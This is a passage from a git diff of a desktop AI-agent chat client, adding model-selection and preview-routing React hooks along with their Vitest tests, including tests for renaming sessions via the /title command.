+    const { result } = renderHook(() =>
+      useModelControls({
+        queryClient,
+        requestGateway: vi.fn()
+      })
+    )
+
+    await result.current.selectModel({ model: 'qwen3.6:35b-65k', provider: 'custom:local-ollama' })
+
+    expect(queryClient.getQueryData(modelOptionsQueryKey('compass'))).toMatchObject({
+      model: 'qwen3.6:35b-65k',
+      provider: 'custom:local-ollama'
+    })
+    expect(queryClient.getQueryData(modelOptionsQueryKey('default'))).toBeUndefined()
+  })
+
+  it('seeds an empty composer model from global but never clobbers a pick', async () => {
+    vi.mocked(getGlobalModelInfo).mockResolvedValue({ model: 'openai/gpt-5.5', provider: 'openai-codex' })
+
+    const { result } = renderHook(() =>
+      useModelControls({
+        queryClient: new QueryClient(),
+        requestGateway: vi.fn()
+      })
+    )
+
+    // Empty → seeds the default.
+    await result.current.refreshCurrentModel()
+    expect($currentModel.get()).toBe('openai/gpt-5.5')
+
+    // A user pick must survive the lifecycle refreshes that fire on boot / fresh
+    // draft / session events.
+    setCurrentModel('anthropic/claude-sonnet-4.6')
+    setCurrentModelSource('manual')
+    setCurrentProvider('anthropic')
+    await result.current.refreshCurrentModel()
+    expect($currentModel.get()).toBe('anthropic/claude-sonnet-4.6')
+
+    // A profile swap forces a reseed to the new profile's default.
+    await result.current.refreshCurrentModel(true)
+    expect($currentModel.get()).toBe('openai/gpt-5.5')
+  })
+
+  it('reseeds a sticky manual pick that was removed from the catalog', async () => {
+    vi.mocked(getGlobalModelInfo).mockResolvedValue({ model: 'openai/gpt-5.5', provider: 'openai-codex' })
+
+    const queryClient = new QueryClient()
+    $activeGatewayProfile.set('compass')
+    queryClient.setQueryData(modelOptionsQueryKey('default'), {
+      providers: [{ models: ['openrouter/owl-alpha'], name: 'OpenRouter', slug: 'openrouter' }]
+    })
+    queryClient.setQueryData(modelOptionsQueryKey('compass'), {
+      providers: [{ models: ['openai/gpt-5.5'], name: 'OpenRouter', slug: 'openrouter' }]
+    })
+
+    // A manual pick whose model no longer exists on its provider.
+    setCurrentModel('openrouter/owl-alpha')
+    setCurrentProvider('openrouter')
+    setCurrentModelSource('manual')
+
+    const { result } = renderHook(() => useModelControls({ queryClient, requestGateway: vi.fn() }))
+
+    await result.current.refreshCurrentModel()
+
+    expect($currentModel.get()).toBe('openai/gpt-5.5')
+    expect(getCurrentModelSource()).toBe('default')
+  })
+
+  it('keeps a sticky manual pick that is still in the catalog', async () => {
+    vi.mocked(getGlobalModelInfo).mockResolvedValue({ model: 'openai/gpt-5.5', provider: 'openai-codex' })
+
+    const queryClient = new QueryClient()
+    queryClient.setQueryData(modelOptionsQueryKey('default'), {
+      providers: [{ models: ['openrouter/glm-4.7', 'openai/gpt-5.5'], name: 'OpenRouter', slug: 'openrouter' }]
+    })
+
+    setCurrentModel('openrouter/glm-4.7')
+    setCurrentProvider('openrouter')
+    setCurrentModelSource('manual')
+
+    const { result } = renderHook(() => useModelControls({ queryClient, requestGateway: vi.fn() }))
+
+    await result.current.refreshCurrentModel()
+
+    expect($currentModel.get()).toBe('openrouter/glm-4.7')
+    expect(getCurrentModelSource()).toBe('manual')
+  })
+
+  it('does not let a stale forced profile refresh overwrite a newer picker choice', async () => {
+    const profileDefault = deferred<Awaited<ReturnType<typeof getGlobalModelInfo>>>()
+    vi.mocked(getGlobalModelInfo).mockReturnValueOnce(profileDefault.promise)
+
+    const { result } = renderHook(() =>
+      useModelControls({
+        queryClient: new QueryClient(),
+        requestGateway: vi.fn()
+      })
+    )
+
+    const pendingRefresh = result.current.refreshCurrentModel(true)
+    expect(getGlobalModelInfo).toHaveBeenCalled()
+
+    await expect(
+      result.current.selectModel({
+        model: 'claude-sonnet-4.6',
+        provider: 'anthropic'
+      })
+    ).resolves.toBe(true)
+
+    profileDefault.resolve({ model: 'gpt-5.5', provider: 'openai-codex' })
+    await pendingRefresh
+
+    expect($currentModel.get()).toBe('claude-sonnet-4.6')
+    expect($currentProvider.get()).toBe('anthropic')
+    expect(getCurrentModelSource()).toBe('manual')
+  })
+
+  it('does not let an older profile refresh overwrite a newer profile', async () => {
+    const profileB = deferred<Awaited<ReturnType<typeof getGlobalModelInfo>>>()
+    const profileC = deferred<Awaited<ReturnType<typeof getGlobalModelInfo>>>()
+    vi.mocked(getGlobalModelInfo).mockReturnValueOnce(profileB.promise).mockReturnValueOnce(profileC.promise)
+
+    const { result } = renderHook(() =>
+      useModelControls({
+        queryClient: new QueryClient(),
+        requestGateway: vi.fn()
+      })
+    )
+
+    const refreshB = result.current.refreshCurrentModel(true)
+    const refreshC = result.current.refreshCurrentModel(true)
+
+    profileC.resolve({ model: 'profile-c-model', provider: 'profile-c-provider' })
+    await refreshC
+    profileB.resolve({ model: 'profile-b-model', provider: 'profile-b-provider' })
+    await refreshB
+
+    expect($currentModel.get()).toBe('profile-c-model')
+    expect($currentProvider.get()).toBe('profile-c-provider')
+  })
+
+  it('refreshes legacy/default-derived composer state from the profile default', async () => {
+    setCurrentModel('openai/gpt-5.5')
+    setCurrentProvider('nous')
+    setCurrentModelSource('')
+    vi.mocked(getGlobalModelInfo).mockResolvedValue({ model: 'gpt-5.5', provider: 'openai-codex' })
+
+    const { result } = renderHook(() =>
+      useModelControls({
+        queryClient: new QueryClient(),
+        requestGateway: vi.fn()
+      })
+    )
+
+    expect(getCurrentModelSource()).toBe('')
+
+    await result.current.refreshCurrentModel()
+
+    expect(getGlobalModelInfo).toHaveBeenCalled()
+    expect($currentModel.get()).toBe('gpt-5.5')
+    expect($currentProvider.get()).toBe('openai-codex')
+    expect(getCurrentModelSource()).toBe('default')
+  })
+
+  it('targets an explicit tile sessionId without clobbering the primary model', async () => {
+    const queryClient = new QueryClient()
+    $activeGatewayProfile.set('compass')
+    $activeSessionId.set('primary-runtime')
+    setCurrentModel('primary/model')
+    setCurrentProvider('openai')
+    const requestGateway = vi.fn(async () => ({ key: 'model', value: 'tile-model' }) as never)
+    const { result } = renderHook(() => useModelControls({ queryClient, requestGateway }))
+
+    await expect(
+      result.current.selectModel({
+        model: 'tile-model',
+        provider: 'anthropic',
+        sessionId: 'tile-runtime'
+      })
+    ).resolves.toBe(true)
+
+    expect(requestGateway).toHaveBeenCalledWith('config.set', {
+      session_id: 'tile-runtime',
+      key: 'model',
+      value: 'tile-model --provider anthropic --session'
+    })
+    // Primary footer untouched — the busy primary must not absorb a tile pick.
+    expect($currentModel.get()).toBe('primary/model')
+    expect($currentProvider.get()).toBe('openai')
+    expect(queryClient.getQueryData(modelOptionsQueryKey('compass', 'tile-runtime'))).toMatchObject({
+      model: 'tile-model',
+      provider: 'anthropic'
+    })
+    expect(queryClient.getQueryData(modelOptionsQueryKey('default', 'tile-runtime'))).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-model-controls.ts b/ui-desktop/src/app/session/hooks/use-model-controls.ts
new file mode 100644
index 000000000..3fd5c094b
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-model-controls.ts
@@ -0,0 +1,264 @@
+import { type QueryClient } from '@tanstack/react-query'
+import { useCallback, useRef } from 'react'
+
+import type { ModelSelection } from '@/app/shell/model-menu-panel'
+import { getGlobalModelInfo } from '@/clawcodex'
+import { useI18n } from '@/i18n'
+import { isBusySessionModelSwitch } from '@/lib/gateway-rpc'
+import { manualPickRemoved, modelOptionsQueryKey } from '@/lib/model-options'
+import { notifyError } from '@/store/notifications'
+import { $activeGatewayProfile } from '@/store/profile'
+import {
+  $activeSessionId,
+  $currentModel,
+  $currentProvider,
+  getComposerSelectionGeneration,
+  getCurrentModelSource,
+  markComposerSelectionManual,
+  setCurrentModel,
+  setCurrentModelSource,
+  setCurrentProvider
+} from '@/store/session'
+import { $sessionStates, sessionTileDelegate } from '@/store/session-states'
+import type { ModelOptionsResponse } from '@/types/clawcodex'
+
+interface ModelControlsOptions {
+  queryClient: QueryClient
+  requestGateway: <T = unknown>(method: string, params?: Record<string, unknown>) => Promise<T>
+}
+
+export function useModelControls({ queryClient, requestGateway }: ModelControlsOptions) {
+  const { t } = useI18n()
+  const copy = t.desktop
+  const profileRefreshEpochRef = useRef(0)
+
+  // All callbacks here read reactive session state from the store (.get())
+  // rather than capturing it as a prop. The actions bag in wiring.tsx mutates
+  // in place to keep a stable identity, so memoized surfaces capture these
+  // callbacks once and never re-evaluate — a captured prop would be stale
+  // forever. The store read is always current.
+  const updateModelOptionsCache = useCallback(
+    (
+      sessionId: null | string,
+      provider: string,
+      model: string,
+      includeGlobal: boolean,
+      profile = $activeGatewayProfile.get()
+    ) => {
+      const patch = (prev: ModelOptionsResponse | undefined) => ({ ...(prev ?? {}), provider, model })
+
+      queryClient.setQueryData<ModelOptionsResponse>(modelOptionsQueryKey(profile, sessionId), patch)
+
+      if (includeGlobal) {
+        queryClient.setQueryData<ModelOptionsResponse>(modelOptionsQueryKey(profile), patch)
+      }
+    },
+    [queryClient]
+  )
+
+  // Settings → Model writes the profile default, which the backend applies to
+  // new sessions only. Keep a live session's renderer state and session-scoped
+  // model-options cache authoritative instead of briefly painting the saved
+  // default as if the active agent had switched. Marking the composer as
+  // default-derived still lets the next fresh draft reseed from profile config.
+  const applySavedMainModel = useCallback(
+    (provider: string, model: string) => {
+      const liveSessionId = $activeSessionId.get()
+
+      setCurrentModelSource('default')
+
+      if (!liveSessionId) {
+        setCurrentProvider(provider)
+        setCurrentModel(model)
+      }
+
+      // A null session id is the profile-global model-options key. Never patch
+      // the live session key here: only config.set --session may change it.
+      updateModelOptionsCache(null, provider, model, false)
+    },
+    [updateModelOptionsCache]
+  )
+
+  // Seed the composer's model state from the profile default. `force` reseeds
+  // for a profile swap (the new profile has its own default); otherwise this
+  // only fills an EMPTY selection so a user's pick (plain UI state in
+  // $currentModel) survives the lifecycle refreshes that fire on boot / fresh
+  // draft / session events. A live session owns the footer, so skip entirely.
+  const refreshCurrentModel = useCallback(
+    async (force = false) => {
+      // A forced profile swap opens a new intent epoch; an older in-flight
+      // response for a previous profile must stand down when it resolves.
+      if (force) {
+        profileRefreshEpochRef.current += 1
+      }
+
+      const profileRefreshEpoch = profileRefreshEpochRef.current
+
+      try {
+        if ($activeSessionId.get()) {
+          return
+        }
+
+        // A manual pick stays sticky UNLESS it was removed from the catalog (its
+        // model no longer exists on the provider), in which case keeping it would
+        // 404 every new chat — fall through to reseed from the profile default.
+        // Reads the model-options cache the composer already populated; an
+        // unknown/not-yet-loaded catalog conservatively preserves the pick.
+        const keepManualPick = () => {
+          if (force || !$currentModel.get() || getCurrentModelSource() !== 'manual') {
+            return false
+          }
+
+          const options = queryClient.getQueryData<ModelOptionsResponse>(
+            modelOptionsQueryKey($activeGatewayProfile.get())
+          )
+
+          return !manualPickRemoved(options?.providers, $currentProvider.get(), $currentModel.get())
+        }
+
+        if (keepManualPick()) {
+          return
+        }
+
+        // Snapshot the selection generation before awaiting so a picker click
+        // that lands while getGlobalModelInfo is in flight wins over this older
+        // default — value comparisons alone miss re-selecting the same row.
+        const selectionGeneration = getComposerSelectionGeneration()
+        const result = await getGlobalModelInfo()
+
+        if (
+          profileRefreshEpochRef.current !== profileRefreshEpoch ||
+          $activeSessionId.get() ||
+          getComposerSelectionGeneration() !== selectionGeneration ||
+          keepManualPick()
+        ) {
+          return
+        }
+
+        if (typeof result.model === 'string') {
+          setCurrentModel(result.model)
+        }
+
+        if (typeof result.provider === 'string') {
+          setCurrentProvider(result.provider)
+        }
+
+        if (typeof result.model === 'string' || typeof result.provider === 'string') {
+          setCurrentModelSource('default')
+        }
+      } catch {
+        // The delayed session.info event still updates this once the agent is ready.
+      }
+    },
+    [queryClient]
+  )
+
+  // Returns whether the switch succeeded so callers can await it before applying
+  // follow-up changes. The composer model is plain UI state: with no live
+  // session it's just stored (and shipped on the next session.create); with one
+  // it's scoped to that session via config.set. It NEVER writes the profile
+  // default — that lives in Settings → Model — so picking a model here can't
+  // silently mutate global config.
+  //
+  // `selection.sessionId` targets a specific surface (tile). When omitted, the
+  // primary `$activeSessionId` is used (overlay / legacy callers). A tile
+  // switch must not touch the primary globals — and must not be blocked by a
+  // busy primary turn.
+  const selectModel = useCallback(
+    async (selection: ModelSelection): Promise<boolean> => {
+      const primaryRuntimeId = $activeSessionId.get()
+      const liveSessionId = 'sessionId' in selection ? (selection.sessionId ?? null) : primaryRuntimeId
+      const touchesPrimary = !liveSessionId || liveSessionId === primaryRuntimeId
+
+      const prevModel = touchesPrimary ? $currentModel.get() : ($sessionStates.get()[liveSessionId!]?.model ?? '')
+
+      const prevProvider = touchesPrimary
+        ? $currentProvider.get()
+        : ($sessionStates.get()[liveSessionId!]?.provider ?? '')
+
+      const prevSource = getCurrentModelSource()
+      const liveGatewayProfile = $activeGatewayProfile.get()
+
+      if (touchesPrimary) {
+        setCurrentModel(selection.model)
+        setCurrentProvider(selection.provider)
+        markComposerSelectionManual()
+      } else if (liveSessionId) {
+        // Optimistic tile paint — session.info will confirm; rollback on error.
+        sessionTileDelegate()?.updateSession(liveSessionId, state => ({
+          ...state,
+          model: selection.model,
+          provider: selection.provider
+        }))
+      }
+
+      updateModelOptionsCache(
+        liveSessionId,
+        selection.provider,
+        selection.model,
+        touchesPrimary && !liveSessionId,
+        liveGatewayProfile
+      )
+
+      // No live session yet: the pick is pure UI state. session.create reads
+      // $currentModel/$currentProvider and applies it as that session's override.
+      if (!liveSessionId) {
+        return true
+      }
+
+      try {
+        const result = await requestGateway<{ deferred?: boolean }>('config.set', {
+          session_id: liveSessionId,
+          key: 'model',
+          value: `${selection.model} --provider ${selection.provider} --session`
+        })
+
+        // A pick made DURING a turn is queued by the gateway and applied at the
+        // next turn start (`deferred`). Re-fetching now would answer with the
+        // model still running and repaint the old name over the user's choice —
+        // the switch publishes session.info when it lands, and that is what
+        // re-syncs every surface.
+        if (!result?.deferred) {
+          void queryClient.invalidateQueries({ queryKey: modelOptionsQueryKey(liveGatewayProfile, liveSessionId) })
+        }
+
+        return true
+      } catch (err) {
+        // An OLDER gateway refuses a mid-turn switch outright (4009) instead of
+        // deferring it. Don't punish the user for a backend they haven't
+        // updated: keep the pick painted as the composer's selection, which is
+        // what the NEXT turn runs anyway. Current gateways never take this
+        // path — they answer `deferred`.
+        if (isBusySessionModelSwitch(err)) {
+          return true
+        }
+
+        if (touchesPrimary) {
+          setCurrentModel(prevModel)
+          setCurrentProvider(prevProvider)
+          setCurrentModelSource(prevSource)
+        } else if (liveSessionId) {
+          sessionTileDelegate()?.updateSession(liveSessionId, state => ({
+            ...state,
+            model: prevModel,
+            provider: prevProvider
+          }))
+        }
+
+        updateModelOptionsCache(
+          liveSessionId,
+          prevProvider,
+          prevModel,
+          touchesPrimary && !liveSessionId,
+          liveGatewayProfile
+        )
+        notifyError(err, copy.modelSwitchFailed)
+
+        return false
+      }
+    },
+    [copy.modelSwitchFailed, queryClient, requestGateway, updateModelOptionsCache]
+  )
+
+  return { applySavedMainModel, refreshCurrentModel, selectModel }
+}
diff --git a/ui-desktop/src/app/session/hooks/use-preview-routing.ts b/ui-desktop/src/app/session/hooks/use-preview-routing.ts
new file mode 100644
index 000000000..55c2cd3d7
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-preview-routing.ts
@@ -0,0 +1,124 @@
+import { useCallback } from 'react'
+
+import { gatewayEventCompletedFileDiff } from '@/lib/gateway-events'
+import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
+import {
+  $previewTabs,
+  beginPreviewServerRestart,
+  completePreviewServerRestart,
+  openPreview,
+  progressPreviewServerRestart,
+  requestPreviewReload
+} from '@/store/preview'
+import { $activeSessionId, $currentCwd } from '@/store/session'
+import { $focusedRuntimeId, $sessionTiles } from '@/store/session-states'
+import type { RpcEvent } from '@/types/clawcodex'
+
+type EventHandler = (event: RpcEvent) => void
+
+interface PreviewRoutingOptions {
+  baseHandleGatewayEvent: EventHandler
+  currentCwd: string
+  requestGateway: <T = unknown>(method: string, params?: Record<string, unknown>) => Promise<T>
+}
+
+function asRecord(payload: unknown): Record<string, unknown> {
+  return payload && typeof payload === 'object' ? (payload as Record<string, unknown>) : {}
+}
+
+export function usePreviewRouting({ baseHandleGatewayEvent, currentCwd, requestGateway }: PreviewRoutingOptions) {
+  const restartPreviewServer = useCallback(
+    async (url: string, context?: string) => {
+      const sessionId = $focusedRuntimeId.get()
+
+      if (!sessionId) {
+        throw new Error('No active session for background restart')
+      }
+
+      const cwd = $currentCwd.get() || currentCwd || ''
+
+      const result = await requestGateway<{ task_id?: string }>('preview.restart', {
+        context: context || undefined,
+        cwd: cwd || undefined,
+        session_id: sessionId,
+        url
+      })
+
+      const taskId = result.task_id || ''
+
+      if (!taskId) {
+        throw new Error('Background restart did not return a task id')
+      }
+
+      beginPreviewServerRestart(taskId, url)
+
+      return taskId
+    },
+    [currentCwd, requestGateway]
+  )
+
+  const handleDesktopGatewayEvent = useCallback<EventHandler>(
+    event => {
+      baseHandleGatewayEvent(event)
+
+      if (event.type === 'preview.open') {
+        // Agent-driven open in response to an explicit user request ("show
+        // cnn.com in the preview pane"). Honor it for any session that's ON
+        // SCREEN — the primary chat or an open tile — not only the focused
+        // one: the turn's window routing already scoped the event to this
+        // window, and gating on focus made the open silently vanish whenever
+        // the user's click had moved focus to a different zone by the time
+        // the tool ran (an "open reddit" they explicitly asked for). A
+        // session that is NOT visible anywhere still can't yank the pane
+        // open (offer, don't hijack). Routes through the same normalizer as
+        // the file browser so URLs, localhost, and file paths all resolve.
+        const { url, label } = asRecord(event.payload)
+        const target = typeof url === 'string' ? url.trim() : ''
+
+        const onScreen = (sid: string) =>
+          sid === $focusedRuntimeId.get() ||
+          sid === $activeSessionId.get() ||
+          $sessionTiles.get().some(tile => tile.runtimeId === sid)
+
+        if (target && (!event.session_id || onScreen(event.session_id))) {
+          void normalizeOrLocalPreviewTarget(target, $currentCwd.get() || currentCwd || undefined).then(resolved => {
+            if (resolved) {
+              const trimmedLabel = typeof label === 'string' ? label.trim() : ''
+              openPreview(trimmedLabel ? { ...resolved, label: trimmedLabel } : resolved, 'tool-result')
+            }
+          })
+        }
+
+        return
+      }
+
+      if (event.type === 'preview.restart.complete') {
+        const { task_id, text } = asRecord(event.payload)
+
+        if (typeof task_id === 'string' && task_id) {
+          completePreviewServerRestart(task_id, typeof text === 'string' ? text : '')
+        }
+      } else if (event.type === 'preview.restart.progress') {
+        const { task_id, text } = asRecord(event.payload)
+
+        if (typeof task_id === 'string' && task_id) {
+          progressPreviewServerRestart(task_id, typeof text === 'string' ? text : '')
+        }
+      }
+
+      if (event.session_id && event.session_id !== $focusedRuntimeId.get()) {
+        return
+      }
+
+      // Only refresh an already-open live preview when a file changes; never
+      // open one unprompted. (Preview links are surfaced from the tool row into
+      // the status stack — see tool-fallback.tsx.)
+      if ($previewTabs.get().some(tab => tab.target.kind === 'url') && gatewayEventCompletedFileDiff(event)) {
+        requestPreviewReload()
+      }
+    },
+    [baseHandleGatewayEvent, currentCwd]
+  )
+
+  return { handleDesktopGatewayEvent, restartPreviewServer }
+}
diff --git a/ui-desktop/src/app/session/hooks/use-prompt-actions/index.test.tsx b/ui-desktop/src/app/session/hooks/use-prompt-actions/index.test.tsx
new file mode 100644
index 000000000..03aefaace
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-prompt-actions/index.test.tsx
@@ -0,0 +1,4452 @@
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import type { MutableRefObject } from 'react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { getSession } from '@/clawcodex'
+import { textPart } from '@/lib/chat-messages'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { $composerAttachments, $composerDraft, type ComposerAttachment, setComposerDraft } from '@/store/composer'
+import { $queuedPromptsBySession, getQueuedPrompts } from '@/store/composer-queue'
+import { $notifications, clearNotifications } from '@/store/notifications'
+import {
+  $busy,
+  $connection,
+  $currentCwd,
+  $currentUsage,
+  $messages,
+  $sessions,
+  $turnStartedAt,
+  setCurrentUsage,
+  setMessages,
+  setSessions
+} from '@/store/session'
+import { dropSessionState, publishSessionState } from '@/store/session-states'
+import { $wakeWord, resetWakeWordState } from '@/store/wake-word'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import type { SubmitTextOptions } from './utils'
+
+import { uploadComposerAttachment, usePromptActions } from '.'
+
+vi.mock('@/clawcodex', () => ({
+  getProfiles: vi.fn(async () => ({ profiles: [] })),
+  getSession: vi.fn(),
+  PROMPT_SUBMIT_REQUEST_TIMEOUT_MS: 1_800_000,
+  setApiRequestProfile: vi.fn(),
+  transcribeAudio: vi.fn()
+}))
+
+// The active id the desktop holds is the *runtime* session id from
+// session.create — deliberately distinct from the stored DB id here, because
+// that mismatch is the bug: the REST renameSession endpoint resolves against
+// the stored sessions table and 404s on a runtime id. session.title accepts
+// the runtime id directly.
+const RUNTIME_SESSION_ID = 'rt-abc123'
+
+function sessionInfo(overrides: Partial<SessionInfo> = {}): SessionInfo {
+  return {
+    ended_at: null,
+    id: RUNTIME_SESSION_ID,
+    input_tokens: 0,
+    is_active: true,
+    last_active: 0,
+    message_count: 3,
+    model: null,
+    output_tokens: 0,
+    preview: null,
+    source: null,
+    started_at: 0,
+    title: 'Old title',
+    tool_call_count: 0,
+    ...overrides
+  }
+}
+
+// Wrap render() in act() so the Harness's useEffect (onReady callback +
+// internal state from usePromptActions) flushes synchronously instead of
+// spilling async state updates outside act().
+async function actRender(ui: React.ReactElement) {
+  let result: ReturnType<typeof render>
+  await act(async () => {
+    result = render(ui)
+  })
+
+  return result!
+}
+
+interface HarnessHandle {
+  activeSessionIdRef: MutableRefObject<string | null>
+  cancelRun: () => Promise<void>
+  editMessage: (edited: Parameters<ReturnType<typeof usePromptActions>['editMessage']>[0]) => Promise<void>
+  reloadFromMessage: (parentId: null | string) => Promise<void>
+  restoreToMessage: (messageId: string, target?: { text?: string; userOrdinal?: number | null }) => Promise<void>
+  redirectPrompt: (text: string) => Promise<boolean>
+  /** @deprecated Use `redirectPrompt`. */
+  steerPrompt: (text: string) => Promise<boolean>
+  submitTextRaw: (text: string, options?: SubmitTextOptions) => Promise<boolean>
+  submitText: (text: string, options?: SubmitTextOptions) => Promise<boolean>
+}
+
+function Harness({
+  activeSessionIdRef: activeSessionIdRefProp,
+  busyRef,
+  getRoutedStoredSessionId,
+  getRuntimeIdForStoredSession,
+  getRouteToken,
+  onUpdateState,
+  onReady,
+  onSeedState,
+  openMemoryGraph,
+  refreshSessions,
+  requestGateway,
+  resumeStoredSession,
+  seedMessages,
+  selectedStoredSessionIdRef: selectedStoredSessionIdRefProp,
+  storedSessionId,
+  activeSessionId,
+  createBackendSessionForSend
+}: {
+  activeSessionIdRef?: MutableRefObject<string | null>
+  busyRef?: MutableRefObject<boolean>
+  getRoutedStoredSessionId?: () => null | string
+  getRuntimeIdForStoredSession?: (storedSessionId: string) => null | string
+  getRouteToken?: () => string
+  onUpdateState?: (
+    sessionId: string,
+    storedSessionId: null | string | undefined,
+    state: Record<string, unknown>
+  ) => void
+  onReady: (handle: HarnessHandle) => void
+  onSeedState?: (state: Record<string, unknown>) => void
+  openMemoryGraph?: () => void
+  refreshSessions: () => Promise<void>
+  requestGateway: <T>(method: string, params?: Record<string, unknown>, timeoutMs?: number) => Promise<T>
+  resumeStoredSession?: (storedSessionId: string) => Promise<void> | void
+  seedMessages?: unknown[]
+  selectedStoredSessionIdRef?: MutableRefObject<string | null>
+  storedSessionId?: null | string
+  activeSessionId?: null | string
+  createBackendSessionForSend?: (preview?: null | string) => Promise<null | string>
+}) {
+  const localActiveSessionIdRef = useRef<string | null>(
+    activeSessionId === undefined ? RUNTIME_SESSION_ID : activeSessionId
+  )
+
+  const activeSessionIdRef = activeSessionIdRefProp ?? localActiveSessionIdRef
+
+  const selectedStoredSessionIdRef: MutableRefObject<string | null> = selectedStoredSessionIdRefProp ?? {
+    current: storedSessionId === undefined ? RUNTIME_SESSION_ID : storedSessionId
+  }
+
+  const localBusyRef = busyRef ?? { current: false }
+
+  const stateRef = useRef({
+    messages: seedMessages ?? [],
+    busy: false,
+    awaitingResponse: false,
+    interrupted: true
+  } as never)
+
+  const actions = usePromptActions({
+    activeSessionId: activeSessionId === undefined ? RUNTIME_SESSION_ID : activeSessionId,
+    activeSessionIdRef,
+    branchCurrentSession: async () => true,
+    busyRef: localBusyRef,
+    createBackendSessionForSend: createBackendSessionForSend ?? (async () => RUNTIME_SESSION_ID),
+    getRoutedStoredSessionId: getRoutedStoredSessionId ?? (() => null),
+    getRuntimeIdForStoredSession: getRuntimeIdForStoredSession ?? (() => null),
+    getRouteToken: getRouteToken ?? (() => 'token'),
+    handleSkinCommand: () => '',
+    openMemoryGraph: openMemoryGraph ?? (() => undefined),
+    refreshSessions,
+    requestGateway,
+    resumeStoredSession: resumeStoredSession ?? (() => undefined),
+    selectedStoredSessionIdRef,
+    startFreshSessionDraft: () => undefined,
+    sttEnabled: false,
+    updateSessionState: (sessionId, updater, storedSessionId) => {
+      // Seed with interrupted:true so we can prove a fresh submit clears it.
+      const next = updater(stateRef.current) as unknown as Record<string, unknown>
+      stateRef.current = next as never
+      onSeedState?.(next)
+      onUpdateState?.(sessionId, storedSessionId, next)
+
+      return next as never
+    }
+  })
+
+  useEffect(() => {
+    onReady({
+      activeSessionIdRef,
+      cancelRun: (...args: Parameters<typeof actions.cancelRun>) =>
+        act(async () => actions.cancelRun(...args)) as Promise<void>,
+      editMessage: (...args: Parameters<typeof actions.editMessage>) =>
+        act(async () => actions.editMessage(...args)) as Promise<void>,
+      reloadFromMessage: (...args: Parameters<typeof actions.reloadFromMessage>) =>
+        act(async () => actions.reloadFromMessage(...args)) as Promise<void>,
+      restoreToMessage: (...args: Parameters<typeof actions.restoreToMessage>) =>
+        act(async () => actions.restoreToMessage(...args)) as Promise<void>,
+      redirectPrompt: (...args: Parameters<typeof actions.redirectPrompt>) =>
+        act(async () => actions.redirectPrompt(...args)) as Promise<boolean>,
+      steerPrompt: (...args: Parameters<typeof actions.steerPrompt>) =>
+        act(async () => actions.steerPrompt(...args)) as Promise<boolean>,
+      submitTextRaw: actions.submitText,
+      submitText: (...args: Parameters<typeof actions.submitText>) =>
+        act(async () => actions.submitText(...args)) as Promise<boolean>
+    })
+  }, [
+    actions.cancelRun,
+    actions.editMessage,
+    actions.reloadFromMessage,
+    actions.restoreToMessage,
+    actions.redirectPrompt,
+    actions.steerPrompt,
+    actions.submitText,
+    activeSessionIdRef,
+    onReady
+  ])
+
+  return null
+}
+
+describe('usePromptActions /title', () => {
+  beforeEach(() => {
+    setSessions(() => [sessionInfo()])
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('renames via the session.title RPC (with the runtime id), updates the sidebar store, and refreshes', async () => {
+    const refreshSessions = vi.fn(async () => undefined)
+
+    const requestGateway = vi.fn(
+      async (method: string) => (method === 'session.title' ? { pending: false, title: 'New title' } : {}) as never
+    )
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={refreshSessions} requestGateway={requestGateway} />
+    )
+
+    await handle!.submitText('/title New title')
+
+    // Routes through session.title with the runtime session id — NOT the slash
+    // worker (slash.exec) and NOT the REST endpoint. This is the path that
+    // resolves the runtime id and persists reliably across platforms.
+    expect(requestGateway).toHaveBeenCalledWith('session.title', {
+      session_id: RUNTIME_SESSION_ID,
+      title: 'New title'
+    })
+    expect(requestGateway).not.toHaveBeenCalledWith('slash.exec', expect.anything())
+    expect(refreshSessions).toHaveBeenCalledTimes(1)
+    expect($sessions.get()[0]?.title).toBe('New title')
+  })
+
+  it('reports the queued state when the session row is not persisted yet', async () => {
+    const refreshSessions = vi.fn(async () => undefined)
+
+    const requestGateway = vi.fn(
+      async (method: string) => (method === 'session.title' ? { pending: true, title: 'Fresh chat' } : {}) as never
+    )
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={refreshSessions} requestGateway={requestGateway} />
+    )
+
+    await handle!.submitText('/title Fresh chat')
+
+    expect(requestGateway).toHaveBeenCalledWith('session.title', {
+      session_id: RUNTIME_SESSION_ID,
+      title: 'Fresh chat'
+    })
+    // Even when queued, the sidebar reflects the chosen title optimistically.
+    expect(refreshSessions).toHaveBeenCalledTimes(1)
+    expect($sessions.get()[0]?.title).toBe('Fresh chat')
+  })
+
+  it('falls through to the slash worker for a bare /title (show current title)', async () => {
+    const refreshSessions = vi.fn(async () => undefined)
+    const requestGateway = vi.fn(async () => ({ output: 'Title: Old title' }) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={refreshSessions} requestGateway={requestGateway} />
+    )
+
+    await handle!.submitText('/title')
+
+    expect(requestGateway).not.toHaveBeenCalledWith('session.title', expect.anything())
+    expect(requestGateway).toHaveBeenCalledWith('slash.exec', expect.objectContaining({ command: 'title' }))
+  })
+
+  it('surfaces a rename error without touching the sidebar store', async () => {
+    const refreshSessions = vi.fn(async () => undefined)
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.title') {
+        throw new Error('Title too long')
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={refreshSessions} requestGateway={requestGateway} />
+    )
+
+    await handle!.submitText('/title way too long title')
+
+    expect(requestGateway).toHaveBeenCalledWith(
+      'session.title',
+      expect.objectContaining({ title: 'way too long title' })
+    )
+    expect(refreshSessions).not.toHaveBeenCalled()
+    expect($sessions.get()[0]?.title).toBe('Old title')
+  })
+})
+
+// Helper: extract rendered text parts from captured updateSessionState seeds.
+function renderedSeedTexts(seeds: Record<string, unknown>[]): string[] {
